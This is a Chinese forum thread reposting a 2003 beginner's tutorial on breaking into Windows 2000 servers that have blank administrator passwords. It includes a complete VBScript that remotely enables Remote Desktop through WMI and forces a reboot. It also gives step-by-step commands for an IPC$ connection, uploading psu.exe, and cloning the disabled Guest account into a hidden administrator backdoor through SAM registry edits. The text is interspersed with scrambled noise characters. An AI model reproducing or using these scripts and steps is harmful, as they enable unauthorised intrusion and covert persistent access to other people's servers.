一次简单的3389入侵

firelinux

一次简单的3389入侵过程 $ m/ w: i4 {, x. k( \0 S原创：caozhe（草哲） % S) m3 q9 f/ I. Z9 p2 n来源：中国欲网技术论坛--草哲 & v" U2 D$ o' D0 ~ 我在网上看到很多很多教你如何如何入侵之类的文章，我觉得对于菜鸟来说根本是看不懂的！ 于是呢，我冒出个想法！想写篇简单点的，适合菜鸟的文章！把我学到的跟大家说一下~！ 6 s) F7 H/ Z' y0 r) g要入侵，我建议你在win2000环境下来*作！ 0 p* ~7 G* ?5 e; f0 ~0 ~7 c首先，要入侵，你得有工具！我向大家推荐几款软件，也是我一直用的东西！ 扫描的X-Scan V2.3、WINNTAutoAttack、流光！ A: e1 p# ?5 B" RX-Scan我最近很少用了，基本用的都是WINNTAutoAttack，当然，小榕的流光我也经常用！ 远程开终端需要一个脚本就可以了，代码请看二楼！保存为*.vbe（我保存的是rots.vbe） ) i+ C) e& C; l& f" \! _克隆帐户用个psu就可以了~！ OK，比如扫描到了一个有NT弱口令的服务器，IP地址是120.0.0.1，管理员帐户是administrator，密码为空 . R' r7 N" G# i/ E! R+ k运行CMD（2000下的DOS），我们给它开终端！ ; l8 @- v; [) O/ k ^命令如下！ " o& T- Y/ _1 s' Vcscript rots.vbe 120.0.0.1 administrator "" 3389 /fr , J6 s* g { M) Z3 J, n上面的命令应该可以理解吧？cscript rots.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为120.0.0.1这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以/r，这是普通重启） 因为终端服务器只在win2000 server以上的版本（包括server）才有，PRO当然是不行的，此版本可以检测服务器的版本，如果是PRO的则提示你退出安装！ $ q* h4 y0 |$ x* D( L+ ]/ O [一切顺利，过会就可以连接到终端了，我们可以ping它，看是否重启，ping 120.0.0.1 -t 安装后用连接工具连接终端！现在我们克隆帐户，呵呵，为了给以后方便嘛！ - G+ B. J8 x$ ?, |" R0 u: X; B- o . {6 p2 A/ \3 r3 u U: [2 y) M. z; |回到DOS下！我们建立IPC$连接！ net use \\120.0.0.1\ipc$ "" /user:"administrator" 这个命令我想应该可以理解吧！命令完成后，我们把psu上传到目标机的winnt\system32目录下！ ! o9 b+ S3 ]' H' mcopy psu.exe \\120.0.0.1\admin$\system32 @& F! b2 s' W" o: D上传完毕后，开始在肉鸡做后门帐户！看肉鸡！ 5 O |. t8 B7 ~( Z- j1 }6 \) v 假设guest用户被禁用，我们就是要利用guest做后门帐户！ 在该服务器运行CMD，在命令行下输入 & v r0 {8 B6 |! G! Zpsu -p regedit -i PID " F4 ?- p2 C6 j; h6 _/ x ! D; H& x( J2 [) o3 e [这里解释一下，后面的PID是系统进程winlogon的值，我们在任务栏下点鼠标右键，看任务管理器！ + j6 F! }* L) L; h |看进程选项卡，找到winlogon的进程，后面的数值就是winlogon的pid值，假设是5458 那么，命令就是这样 psu -p regedit -i 5458 这样直接打开注册表，可以读取本地sam的信息。 打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 下面的就是本地的用户信息了！我们要做的是把禁用的guest克隆成管理员权限的帐户！ HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names ! U" G. f% t. A b; [6 A% a3 i& @8 A查看administrator的类型，是if4，再看guest的是if5 ( k" N) ?) o+ n5 ^好了，知道了类型后，打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 % M% k" o9 n7 H! b+ D9 H6 H- M这个值，双击右侧的F，把里面乱七八糟的字符复制下来，然后打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 双击右侧的F，把刚复制的粘贴到里面！ / y# i' m; N9 ^6 H$ J 0 p1 Q* D: i# a. g/ D: o4 }8 u做好了以后，把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 6 C8 C0 C4 N: G和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest 9 f. n: K/ x2 b( {0 z" c. ]. m这两个键值导出，导出后把那两个键值删除！然后再导入进来！关闭注册表。 : M' ]+ I2 z7 W6 S 5 \2 x+ a' G& j n: L. w A+ T# M打开CMD，在命令行下输入 " ?, V- H# v; w3 T2 x) }4 F6 Unet user guest password 这条命令是给guest设置密码，后面的password就是密码 然后输入 net user guest /active:y ( q% J- U* M, w$ `8 b& T3 y% E这命令是激活guest帐户，然后我们把他禁用 net user guest /active:n 上面的三行命令必须在DOS下执行！ y" P- m8 ?( I Q OK了，打开计算机管理，看用户，你们看，guest帐户还是被禁用的~！哈哈，但它已经拥有管理员权限了！ 1 L, m4 ^- o8 R$ ]3 d$ h而且并不在管理员组里显示，还可以登陆终端，跟administrator帐户一样的！ 注销一下，用guest登陆吧！ - x0 M$ @6 C" W: o 7 P% T$ _5 h$ X1 `5 Q! |, I打字都打累了~`！真不容易！呵呵~`希望上面的大家能看懂啊！ " i) H6 N* p f& D: @ V如果还有地方不明白的话，可以问我，我知道的一定告诉大家！ 因为本人也是菜鸟级的，会了点东西就不知道怎么好了，呵呵~`！如果哪里有不对的，还请高手指点啊~！ ; {/ z& G# I$ _' C---------------------------------------------------------------------- - E8 n2 y: Y x% I2 a1 s4 ?7 c以下是开终端的脚本，把它存为*.vbe on error resume next ( h) X$ }, H/ B: r7 I4 \set outstreem=wscript.stdout set instreem=wscript.stdin if (lcase(right(wscript.fullname,11))="wscript.exe") then set objShell=wscript.createObject("wscript.shell") ' n1 g! p# T: Q# D/ _ objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit . ^; ^9 d2 _2 N1 P% yend if & {7 x- V2 @ S0 v! p& f' ~* ] C1 xif wscript.arguments.count<3 then usage() wscript.echo "Not enough parameters." : a! s5 q( R3 Q5 f9 S- c2 A wscript.quit ; H; W4 ^7 q& {6 T! l( C; Eend if $ z9 I8 x$ }5 T; w) O5 @ ipaddress=wscript.arguments(0) username=wscript.arguments(1) ! r7 x! j$ Q8 g* Upassword=wscript.arguments(2) " X! Q8 h5 D9 L8 Hif wscript.arguments.count>3 then port=wscript.arguments(3) / _' w" E7 U7 k$ l0 melse port=3389 ! x% O b6 R$ n- _9 O% |end if if not isnumeric(port) or port<1 or port>65000 then wscript.echo "The number of port is error." wscript.quit ! y- t7 s2 ?6 S1 `% Bend if - w" n1 a P- Y3 m+ p! E5 jif wscript.arguments.count>4 then reboot=wscript.arguments(4) * w/ m" n3 ^) B4 d! P/ B( Ielse reboot="" ! d1 k) c7 d" L" D$ _& Eend if + c+ _( }* u8 O) S5 t: {' H usage() : C# h1 {% k8 e2 {( Z/ H: A' T" Joutstreem.write "Conneting "&ipaddress&" ...." : U+ z: C1 H0 @) g4 Lset objlocator=createobject("wbemscripting.swbemlocator") Y* [ ~! F7 V, R! ~& O& tset objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) ! d1 }: `" T2 t: F2 x+ r) p+ B) xshowerror(err.number) , L. H& Z3 C9 Y5 u/ k2 nobjswbemservices.security_.privileges.add 23,true ' S8 T1 Y/ w( S! uobjswbemservices.security_.privileges.add 18,true * M1 }; K8 D" U' ^% W outstreem.write "Checking OS type...." set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") / a$ g1 s+ z6 ^/ c0 {) q1 D" Nfor each objinstoscaption in colinstoscaption * v. A6 G; W& E3 u0 O1 d if instr(objinstoscaption.caption,"Server")>0 then wscript.echo "OK!" 9 x. g9 @' H3 L' D% h& l else 4 R+ b4 e/ L" o n+ ~) l wscript.echo "OS type is "&objinstoscaption.caption outstreem.write "Do you want to cancel setup?[y/n]" 6 s1 \. X4 T: d9 F% p strcancel=instreem.readline 7 M- G2 x( K' P' I1 s2 Q [5 {) ?4 w, n- M if lcase(strcancel)<>"n" then wscript.quit # {7 B* X8 h/ @( _/ o z8 p2 D6 Y end if next * L9 n, Z* b( t$ s+ g& Q 7 A- p; J5 O$ T" v% R: q2 M3 y! X( }outstreem.write "Writing into registry ...." % S1 h& H& u8 _* ?2 x9 }set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") 7 U9 x; J. _2 m, J7 rHKLM=&h80000002 9 v0 {( r: y& z) S3 EHKU=&h80000003 " Q5 ]8 I! N5 a: O3 ~with objinstreg 6 r J# Y: w# m, ^! n& [.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" 7 b+ c! c6 n7 w C.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 .createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" ' _2 m: R. v. X+ u3 t.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2 .setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1" .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port p& i# k& _3 _/ j3 ~end with 2 Y5 m4 k5 }" [$ M/ U9 W# i7 ashowerror(err.number) rebt=lcase(reboot) ! G: h/ O; K1 c6 x5 Y: p- @flag=0 if rebt="/r" or rebt="-r" or rebt="\r" then flag=2 if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6 * L ]$ F+ b% I, M$ {8 zif flag<>0 then outstreem.write "Now, reboot target...." strwqlquery="select * from win32_operatingsystem where primary='true'" / ~9 L# U/ ?! ]6 W, w+ o6 A y set colinstances=objswbemservices.execquery(strwqlquery) for each objinstance in colinstances objinstance.win32shutdown(flag) next showerror(err.number) else ) }; f% Z. r$ t0 [% A wscript.echo "You need to reboot target."&vbcrlf&"Then," |" P$ n1 l; m% L' A; Vend if wscript.echo "You can logon terminal services on "&port&" later. Good luck!" / |& _* ^: k" {. c. R# f2 ? function showerror(errornumber) if errornumber Then % W: c# ~; N7 U% B wscript.echo "Error 0x"&cstr(hex(err.number))&" ." if err.description <> "" then wscript.echo "Error description: "&err.description&"." end if wscript.quit # i$ _7 |& J! ]2 W" {0 T8 z* ^' Z# celse wscript.echo "OK!" end if end function - I3 T, y7 T) P0 U7 t8 E function usage() wscript.echo string(79,"*") ( [' c4 ~! A0 [wscript.echo "ROTS v1.05" wscript.echo "Remote Open Terminal services Script, by 草哲" wscript.echo "Welcome to visite www.5458.net" # W/ k& e' p* m8 [* J; V6 D& nwscript.echo "Usage:" $ l% e6 Z) N4 P: {6 a& [wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]" . V# B4 H, g6 _& k, Qwscript.echo "port: default number is 3389." wscript.echo "/r: auto reboot target." wscript.echo "/fr: auto force reboot target." 4 j6 T- l2 V* T: y1 e* \' @wscript.echo string(79,"*")&vbcrlf 0 \: v# y( X d4 F+ U* [, z* ~end function 转自安全焦点

这么好的东西好象没有人看,是不感兴趣吗?
6 x1 @- c, v  {/ ~8 ]7 G9 t还是什么的,看来我们工程学院还真有很多不错的角色哦!

不过你还是说得简单点吧,估计那样的话会有多一点的人看的

' ]4 A/ ?  ]$ k8 G3 W2 b9 k



3 T+ a& N# R) m: R) H

[此贴子已经被作者于2003-3-24 21:15:45编辑过]

这个类似的我看多了，3389的漏洞好像都在一夜间成名，然后一夜间被人疯狂堵上。